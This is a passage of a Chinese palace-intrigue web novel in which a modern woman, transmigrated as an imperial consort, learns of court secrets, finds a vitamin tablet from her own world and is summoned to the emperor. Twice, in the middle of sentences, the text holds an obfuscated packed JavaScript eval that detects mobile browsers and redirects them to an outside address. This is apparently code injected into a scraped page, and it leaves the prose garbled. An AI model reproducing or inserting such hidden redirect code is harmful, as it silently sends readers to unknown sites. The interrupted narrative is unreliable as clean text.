不过也正是她这种模棱两可的态度,加上后期裴翊珣从先太子旧部那里得知了母亲之死的全貌。最后裴翊珣登基上位,太后也没落得什么好结局。 临近辰时,苏嬷嬷才带着裴翊珣进了殿。 “哎呀,你这傻孩子怎么一直就在外面站着啊。”太后看到裴翊珣走进了,脸色泛白,语气里带了些心疼,“苏媪,你怎么回事,哀家忘了,你怎么不带静王先进来等。” “哎哟,是奴疏忽了,奴的错。奴刚叫人拿了汤婆子给殿下,往后再不会出现这种事情了。” 两个人这样一说,责任或许在苏嬷嬷疏忽上,或许在裴翊珣固执上,总归,是怪不到太后头上。 皇家人,果然人人都是装模作样的一把好手。 “让皇祖母担心了,没事的,我身体也还没弱到吹吹风就晕倒的地步。”裴翊珣脸上始终带着笑,从进殿开始就没有变过的温和的笑。 “你同贵妃相处如何?” “一切都好,昨日已经搬进华阳宫了。贵妃娘娘待我也好,叫人给我送了不少东西。” “这样就好,你们好好相处。翊珣,哀家那日直接决定你的去处,将你放在贵妃名下,让她当你母妃,你可生我的气?”太后语气里带了些迟疑,像是想起了什么,声音也有些颤抖。 “皇祖母,孙儿已不是小孩了,也不会在乎母妃这个称呼了。孙儿知晓皇祖母是为了我好,皇宫之大,父王死后,这宫中像是再没有我的容身之所,如今贵妃娘娘肯收我当孩子照料,也是我之幸事。”裴翊珣言语间带了点宽慰,顿了一下接着说。 “只是那日,我看见祖母让人给贵妃娘娘送了雪蛤养荣膏……” “哀家看她身上有伤,特地将药给了她。这药冷敷对治伤极有效,此药难得,上次哀家拿出来,还是给你母亲。” 裴翊珣听到母亲两个字,眼眸逐渐深切,他站起身,朝太后行了一礼。 “皇祖母既然提到了我的亲生母亲,孙儿今日……” “翊珣,哀家从前教过你,有些话说出口,可就收不回去了。”太后像是知晓裴翊珣要说什么,不再像从前那样慈爱。 “孙儿恳请皇祖母下令将母亲与父王合葬,让母亲入皇谱,为父王正妃。” 裴翊珣跪下说完后,又朝太后磕了个头。 “裴翊珣。哀家同你说过,此事不议。而今你父王已经下葬,如何与你母亲合葬?” 裴翊珣没再说话,只是跪着,看着高台上身着华丽的老者。 “静王若是爱跪,便去殿外跪着。” 听了这话,裴翊珣便走去殿外跪下,远远看着殿中人,一声不吭。 11. 现代药物 “所以其实太后做的所有事情都是为了自己吧,居然连亲儿子死因有蹊跷都不愿意彻查下去。”梅胤穗坐在梅澹秋身边,一边吃着果子,一边说话。 “反正我是这样认为的,先太子殿下和大哥都是武将,各掌一方。国丧,大哥奉命回京,我偷听到他和父亲讨论过这件事。好像是说当时和边疆那一站有不少疑点,先太子带兵两万,而疆外当时只有一万人马,和边疆兵力差距这么大,按理来说,那一站不该输,也不该死那么多人。” “静王单独和我提过,你应该也看到了。虽然他没把所有知道的事情都和我说,但是目前看来,此战的确很需要重视。说不定和……当今皇上有关。” 听到这样的猜测,梅澹秋笑出了声,“怎么可能,当今陛下就是个草包,什么事情都干不成。当时如果不是皇朝律例,这个陛下也轮不到他来做。毕竟不好跳过他这个皇叔直接让静王做皇帝。不过我觉得太后和这件事其实可能有点关联吧,说起来很奇怪……” 不知道为什么,来到这个世界之后,梅胤穗发现这个世界并没有按照原书中的剧情发展。所有事件的进程都像是被莫名其妙地走得很快,像是有一个知道这个事情的人在推剧情。 可是穿书系统真的会和重生系统放在一个故事里面吗?那这个故事的buff叠的是不是有点太多了。 因为按照情况来说,裴翊珣不应该那么早发现先太子之死的蹊跷。而且!在原书中,前期的裴翊珣脾气性格极差,天天被皇帝和贵妃连番折磨,根本没有怀疑过自己父亲的死亡有问题。 还是后期梅家出事,梅胤穗受罚,裴翊珣才有了喘息的机会,在苏荷的帮助下有机会出宫,并且意外地找到了先太子残部。 “对了,这个事情我忘了和你说。”梅澹秋突然想到了什么,声音突然提高,拍了梅胤穗一下,语气带着激动,“先帝的死!先帝的死虽然说,是因为得知先太子以及所带两万兵马全部丧生疆外,一时气急攻心而亡。但是,其实在先太子出征前,先帝的身体就不怎么好了。” 听了这事,梅胤穗感觉好像有什么事情突然好像连起来了。 太后始终是一个维持局面的人,她瞒下先太子之死的各类蹊跷,对外宣称先帝是一时间气急攻心而亡,绝口不提之前先帝的身体就很不好。 她好像格外爱着这个王朝,不愿意深查,不愿意皇家出任何所谓的论断。 在梅胤穗看来,这更像是一叶障目,自欺欺人。只不过,太后这么做的目的,到底是为了皇家,还是为了现在已经坐上皇位的陛下,就不得而知了。 两人聊得很多,直到被一声“咚”声打断,那声音像是什么东西突然敲打了一下木头发出的声响。 两个人都被突然传来的声音吓了一跳,来回张望,最后将视线落到了窗边的格子上。 “对哦,我们聊得太入迷,都忘了这个柜子。我感觉刚刚那个声音就是从这里传出来的。”说着,梅澹秋还走到柜子边,用手敲了敲柜子。 梅胤穗有些犹豫,但还是走到了梅澹秋旁边。在她眼神的催促下,梅胤穗试探着去碰了几个柜子的抽屉,但是用力拉并没有什么用。 正当她准备放弃时,手里最后一个柜子,被拉开了。 “哇!我就说,肯定还是得你来了才行。快看看里面有什么。”梅澹秋见她打开了一个柜子,惊呼了一声,马上蹲到了她身边。 两个人一起探头看着柜子里面的物件,梅胤穗看着这个白色的方形盒子,上面有不少橙色的花纹,心里有一个不好的预感。几乎在梅澹秋拿起这个小盒子的同时,梅胤穗闭上了眼,抿了抿嘴巴。 “复方维……生素泡腾……片?这是什么东西?” 听到这个熟悉的名字,梅胤穗带着苦笑,睁开了眼。 OK,不出所料,这个东西她有点太熟悉了。她从小就经常口腔溃疡,去医院检查也没什么特别的结果,只说可能是缺某种微量元素,然后她就开始喝这个泡腾片,就这样一路喝到了大学。 没想到老朋友再见会是现在这个场面,这个异世,奇怪的地方。 梅胤穗看着梅澹秋对手上的东西充满了好奇,但是左右转,也看不出来什么。 梅胤穗叹了口气,拉着梅澹秋站起来,走到桌子边,从她手上拿过盒子,打开之后从里面掏出一根白色的粗管,再打开之后,拿出一片橙色的圆片,放进茶具里。 圆片放进水里,立刻活跃起来,杯中产生无数气泡,从水中剧烈涌出,发出“嘶嘶”的声音,同时推动圆片翻滚溶解。不一会儿,圆片完全消失,留下一杯带气泡的橙色溶液。 梅澹秋在看到杯中发出声音之后就猛地后退,像是看见了什么杀器似的,还拉着梅胤穗不肯靠近。 “澹秋,这个是,复方维生素泡腾片。是……我那个世界的药物。”梅胤穗有点不知道怎么开口,不知道从哪里开始说。先前梅澹秋没问,她也就没提自己压根就不是古代人,现在这个现代药物一出现,倒是没办法继续瞒下去了。 “你那个世界?我怎么听不懂。”梅澹秋的脸色有点难看。 “我从小生活的地方,和这里不一样。我们那里没有君王,没有后宫,没有奇怪的制度和争斗。我们的国家很安全,不会有像先太子那样的大战。我们那里的药物模式也已经比较成熟,这个就是我们那里的药物,是一种保护身体,类似现在的一种补药……” 梅胤穗看着眼前的梅澹秋渐渐被一层雾遮住,人越来越看不清,梅胤穗努力加快说话速度,但仍然没有解释完,就被送回了现实世界。 在意识到自己在现实世界已经醒了的时候,梅胤穗叹了口气,没有急着睁眼,想试试能不能再睡一次,好回到那个夹层空间和梅澹秋解释完。 可是,她闭了好一会眼睛,也没再有什么变化。 狗屎系统,讨厌死了,每次都不给人说再见的机会,真的真的太不礼貌了!也不知道是不是因为她们两个聊的事情有点脱离系统控制,所以把她强制下线了。 好奇怪,上次好像不是这样,上次应该是现实中的她被裴翊珣吵醒,所以导致走得匆忙。 而这一次……梅胤穗睁开眼看了看四周,殿内没有人,裴翊珣还躺在床上,和她睡觉的没有半分变化。 排除外应,那就肯定是系统强制把她下线了。 恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668539|173038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心! 梅胤穗啧了一声,又将视线放到了裴翊珣的脸上。 床上的人脸色有了血色,手心也不像之前那么烫。她伸手摸了摸他的额头,又摸了摸自己的。可能是睡觉时手一直放在外面,她的手很冷,摸不出来具体的,加上本身她摸额头试发不发烧的水平就不是很行,现在就更是不准了。 梅胤穗叹了口气,微微站起身,坐在床边,凑近裴翊珣,用自己的额头贴上裴翊珣的额头。 好像,不是特别热了,应该是已经退烧了。 就在梅胤穗放下心,准备起身时,裴翊珣的眼睛突然睁开了。那双深邃的眼眸里还带着一丝迷蒙,仿佛刚刚从梦中醒来,还没有完全适应现实的光亮。 梅胤穗慌了一下,称裴翊珣好像还没有清醒过来,猛地把头抬起来,坐在床边,怎么都不往裴翊珣的方向看。 “贵妃娘娘怎么在我这里?”裴翊珣的声音带着点沙哑,言语间好像带了点笑意。 梅胤穗听出来他声音的笑,带着些气回过头看他,“劳烦静王殿下伸手自己好好看看,是我不想走吗?” 裴翊珣将手抬起,这才注意到自己手抓着梅胤穗的衣角。想必是昏睡间手抓得格外紧,丝绸的外衣衣角被抓得有些皱。 “抱歉,给娘娘添麻烦了。”裴翊珣挣扎地想坐起来,时不时还咳嗽两声。 看着这一番动作,梅胤穗有些头大,好像看到了原先世界那些不配合治疗的病人。 她条件反射地压住裴翊珣的肩膀,把他按在床上,露出公式化的笑容,“静王殿下还是好生歇着吧,腿上都伤的不能见了,就不要再乱动了。” 看着裴翊珣脸上露出些之前从未见过的局促,梅胤穗心里生出几分逗弄的心思。 “殿下都不问问,你昏睡时都说了些什么吗?” 听了这话,裴翊珣的脸上多了几分严肃和深沉,原先的笑意不复存在,“我可是说了什么得罪娘娘的话?” 裴翊珣脸色变得很快,只是梅胤穗忙着给他掖被子,并没有注意。 “没什么特别的,不过是……” 梅胤穗抬起头,看见裴翊珣脸上没了笑,嘴边的话突然有些说不出来。 “没什么,你好好休息吧。我喊人给你煎药。” 裴翊珣看着梅胤穗走出殿,心下多了几分别的心思。其实在他睁眼前便已经醒了,只是发觉身边人有动作,没睁眼而已,却没想到梅胤穗会突然贴上来。 没一会,梅胤穗走进偏殿,身后跟着苏荷,她端着汤药走到床边。 “静王殿下莫起身,娘娘叮嘱我喂您喝下去。” “劳烦苏荷……” 裴翊珣话还未说完,殿外,一道尖利得毫无温度的嗓音骤然穿透暖阁厚重的门帘,如同淬了冰的刀子。 “圣上口谕——!” 短暂的、令人窒息的停顿后,那声音带着不容置疑的威压继续道。 “戌时三刻,着贵妃梅氏,至紫宸殿东暖阁侍驾!凤鸾春恩车已候于昭阳殿外,速速准备接驾,不得有误!钦此——!” 最后“钦此”二字拖得又尖又长,像一道无形的枷锁,重重落下。 12. 帝王侍寝 太监的声音格外尖锐,偏殿三人听到后安静了许久,也没人说话。 在梅胤穗指尖猛地掐进掌心,镯子沿磕在檀木案几上发出闷响。 苏荷捧着药碗的手僵在半空,汤匙里褐色的药汁颤巍巍晃出几滴,在织金牡丹纹地毯上洇开暗色痕迹。 裴翊珣撑着床沿要起身,被梅胤穗反手按住。 她盯着垂花门外晃动的鎏金宫灯影子,突然轻笑出声:“圣上倒是会挑时候。此时唤本宫侍寝,怕是要来问罪的。” 其实那日在长寿宫中和皇帝一番争执后,她就预想到了总会有这样一次会面,会是她和皇帝单独的会面。现在她的身份buff叠了很多层,丞相嫡女,将军妹妹,静王母妃,再加上太后的器重。 皇帝顾及现在自己地位不稳,或许不会有什么生命安全,但此番,绝对不会顺利。 “娘娘!”苏荷急得要跪,被梅胤穗一把搀住。腕间翡翠镯子撞在紫檀木上发出脆响,惊得窗外宿鸟扑棱棱飞起。 裴翊珣忽然剧烈咳嗽起来,苍白的指节攥着锦被,咳得脖颈泛起病态的潮红。梅胤穗刚要转身,却被他攥住袖口,力道大得让她踉跄半步。 “你和我说的,没必要为了伤害别人而刺伤自己,别把对准敌人的那把刀变成双刃。你现在,自己能做到吗?”裴翊珣的声音很哑,像是压下心里的情绪才能平和地说出这番话。 “别一副视死如归的模样,我不会有事的,但你要好好休息。”梅胤穗调整了下心情,转身将裴翊珣扶着他坐稳,笑着对他说。 传旨太监那毫无感情的声音再次穿透门帘响起:“贵妃娘娘,请速速接旨准备,凤鸾春恩车不等人。” 梅胤穗深吸一口气,强行压下心头的惊涛骇浪和翻涌的恶心感。她不能让外面的人看出任何端倪。 她转过身快步走到殿门口,努力让自己的声音听起来平静无波,甚至带上一点被临幸时应有的、程式化的“荣幸”:“臣妾……领旨。公公稍候,容本宫稍作整理。” 她快步走回内殿,经过裴翊珣床边时脚步未停,但眼神飞快地与他交汇了一瞬。那眼神里有无奈,有警惕,也有一丝不易察觉的安抚——她必须去。 裴翊珣的目光死死锁着她,喉结滚动了一下,似乎想说什么,但最终只是更用力地攥紧了手中的药碗,碗壁在他掌心发出轻微的、濒临碎裂的呻吟。 他不能动,不能出声。此刻任何一点来自静王的动静,都可能成为皇帝发难的借口,将她置于更危险的境地。 梅胤穗没有看他,径直离开偏殿。走到梳妆台前坐下。镜中的女子脸色有些苍白,眼神却异常清醒锐利。 她迅速拆下因照顾病人而略显松散的发髻,拿起梳子,手指却控制不住地有些发抖。 这突如其来的侍寝,时机太过诡异!皇帝那个草包,早不召晚不召,偏偏在裴翊珣被太后罚跪,在宫中养伤时召见!是有人告密?是太后的意思?还是皇帝自己……察觉了什么? 她脑中飞速闪过梅澹秋的话,闪过关于先太子之死、关于太后遮掩的种种疑点,闪过裴翊珣腿上狰狞的伤口……这一切都像一张巨大的、无形的网,而她正被推向网的中心。 苏荷无声地走过来,接过她手中的梳子,动作麻利地为她重新梳理发髻,插戴上华贵的珠翠。 她的动作又快又稳,但梅胤穗能感觉到她指尖的冰凉和细微的颤抖。 “娘娘……”苏荷的声音压得极低,带着浓重的忧虑。 “无妨。”梅胤穗的声音同样低不可闻,她看着镜中苏荷担忧的眼睛,“看好他。按太医的方子,按时喂药,换药。任何人问起,就说静王殿下伤势沉重,一直在昏迷,不便见面。”她的语气带着不容置疑的命令。 “是。”苏荷整理好发髻,低头退至一旁。 梅胤穗看着镜中的自己,有点陌生,那是从前没有过的盛装,只是出现在这里,显得有些荒唐和讽刺。 果然还是习惯不了这种感觉。都说女为悦己者容,只是现在,认真打扮之后要去侍寝,怎么想怎么觉得膈应。 她站起身,任由侍女为她披上织金绣凤的华服,那繁复的纹样和沉重的珠翠仿佛一层又一层的枷锁,将她牢牢束缚。 这一夜,她必须小心应对,不能有丝毫差错。只要过了皇上这一关,交过一次锋,后面便不用因为不熟悉人物设定而心惊胆战, 走出主殿,夜色已深,宫灯摇曳,长长的宫道似乎没有尽头。 凤鸾春恩车早已在外等候,梅胤穗缓缓上车,车帘落下,隔绝了外界的视线,也将她与外界的喧嚣隔绝开来。车内烛光摇曳,映照出她紧抿的唇和紧锁的眉头。 梅胤穗握紧手中的小瓶子,里面是梅胤飞先前给的迷药。 她必须让皇帝相信,她只是一个安于现状、贪图荣华的贵妃,而不是一个有着深沉心思和坚定信念的女子。 但是,如果真的可能的话,在适当的时机迷倒皇帝,也不失为一种好办法。 车辘辘前行,终于停在皇帝的寝宫前。 梅胤穗深吸一口气,整理好衣衫和心情,一步步走进那金碧辉煌却又冰冷无情的地方。 她知道,这一夜,将决定她未来的命运,也将决定裴翊珣和梅家的命运。 迈入紫宸殿,灯火通明,却格外安静。 东暖阁是皇帝私寝之处,比外头的大殿多了几分隐秘的暖意。地上铺着厚厚的猩红金线牡丹毯,四壁都是精工细琢的紫檀木墙围,上面贴着不少画作,人物,风水,工笔又或是白描。 梅胤穗幼时曾学过国画,此番第一次看到这异世丹青,不由得驻足多看了几眼。 “贵妃娘娘,您可在那边的榻上先休息。”侍女看着她停下来看画,便没再多打扰,说完话之后便离开了。 梅胤穗听了话,只是点点头表示明白,随后向四周打量。 暖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15676084|173038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阁靠窗是一张巨大的罗汉床,铺着明黄色的锦缎,旁边的矮几上还摆着一个精巧的掐丝珐琅香炉,正袅袅吐着龙涎香的清贵气息,丝丝缕缕,缠绕在空气里。 暖阁不是特别大,但是却有不少屏风隔断,将此间屋子分隔成一个个小空间。 梅胤穗走到塌边慢慢坐下,低着头不知道在想什么。 不知是等了多久,梅胤穗听见外间传来几声咳嗽声。她猛地抬头,在屏风与墙围的空隙间,对上了一双眸子。 昏暗的灯光下,那双眼睛显得格外阴森。不同于裴翊珣的丹凤眼,皇帝的眼睛是三白眼,看着很凶。 大概是察觉梅胤穗呆愣的时间有些久,那边的人先出了声。 “贵妃既然看到了,便过来吧。”梅胤穗站起身,整理了下繁复的裙摆,缓缓绕过屏风。 皇帝的身影在烛光下若隐若现,他的脸上带着几分玩味。 她走到皇帝面前,行了个标准的宫礼:“臣妾参见皇上,皇上万岁万岁万万岁。” 皇帝伸出手,示意她起身:“爱妃免礼。” 梅胤穗站起身,低垂着眼帘,不敢直视皇帝的眼睛。 梅胤穗就这样低着头站在矮桌前,她能感觉到皇帝在看着自己,但是一直没有开口说话。 “爱妃,到朕身边来。”皇帝的声音带着几分慵懒。 梅胤穗扯了扯嘴角,露出了笑容之后才抬起头,慢慢走到矮桌旁跪下。 “臣妾替陛下研墨。” 矮桌上摆着宣纸和大小各异的毛笔,边上还有不少鲜艳的其他颜色。 “爱妃来看看朕的这幅丹青,你觉得如何?”皇帝的语速很慢,也许是看到梅胤穗十分识趣,声音里带着点慵懒。 梅胤穗放下手中的墨条,将视线放到了桌子正中间摆着的画。 这幅画只是简单的人物画像,一个女子站在一棵树下。树上花开得正艳,女子仰头看画。只不过奇怪的是,这女子的面容没有画出来。 梅胤穗仔细端详着这幅画,心中暗自揣测皇帝的真实意图。 她顿了好一会后缓缓开口,声音柔和而谨慎:“皇上此画构图巧妙,意境深远,只是那未画面容的女子,臣妾不敢妄言。” 皇帝轻笑一声,似乎对她的回答颇为满意:“爱妃倒是知情识趣。此画是朕梦中场景,这梦朕来来回回做了许多次,只记得是一棵开花的树下有一女子。却总是看不清这女子面容。朕久住京城,听闻贵妃极擅丹青,不知可否帮朕添上女子面容?” 扯!原主平日里只喜欢在家和兄长研究药草之类的,再不济就是出门和闺中密友玩乐。什么女儿家要会的丹青女红一概不通,京中对她最多的评价就是丞相把女儿养得太金贵,以后怕是嫁不出去。 “陛下谬赞了,臣妾不过幼时同父亲学过一两笔,现下多年未碰画笔,恐污了殿下画作。”梅胤穗心里早就骂了无数次,面上却不显,仍然维持着那抹笑容。